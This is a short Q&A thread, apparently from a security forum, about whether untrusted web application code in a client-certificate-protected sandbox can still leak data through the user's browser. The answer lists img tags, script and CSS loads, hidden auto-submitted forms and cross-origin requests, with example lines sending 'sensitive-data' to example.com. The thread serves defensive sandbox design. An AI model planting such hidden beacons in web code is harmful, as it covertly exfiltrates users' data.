I'm trying to imagine an secure sandboxed environment for an application which is big and unexplored, and may contain backdoors. It would live under chroot/virtual environment with no outgoing connections enabled, and all incoming connections will come from local SSL frontend using self-made CA and self-signed client certificate (Apache's RequireSSL directive).

So, no one will be able to connect to application and steal it's data via some backdoor. However, I wonder if the application's client side is technically able to do cross site requests via browser.

Can a page which is open in a self-made SSL context let one of its javascript elements to connect to another server without issuing a visible warning?


There are a couple of ways, which allow a web application to transmit information to another server using the browser as relay. The same origin policy prevents other websites from accessing a sensitive website, but there are a number of access types that are not restricted.

For example:

  • The img-tag can be used to load an image from any server: <img src="http://example.com/?log=sensitive-data">
  • css and javascript files can be loaded the same way
  • Forms can be submitted to any server. The can be hidden in an invisible iframe and submitted automatically by JavaScript: <form action="http://example.com/" method="POST">
  • There are cross origin requests in HTML5 using the XMLHttpRequest JavaScript object: HTML5 Top 10 Threats: Stealth Attacks and Silent Exploits
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  • A self signed certificate with SSLRequire directive which can check if client's installed certificate matches server CA certificate and, possibly, certificate username/organizarionname (which are valid attributes for client ceritificate) criteria, can indeed prevent unknown users from accessng the erver. – kagali-san Aug 10 '12 at 21:42
  • I also wonder which of these attacks are not causing browser to issue a warning.. will check later. – kagali-san Aug 10 '12 at 21:43
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    @kagali-san, sorry, you are correct. I missed the part about client certificates. None of the above communication approaches will issue a warning. – Hendrik Brummermann Aug 10 '12 at 21:44

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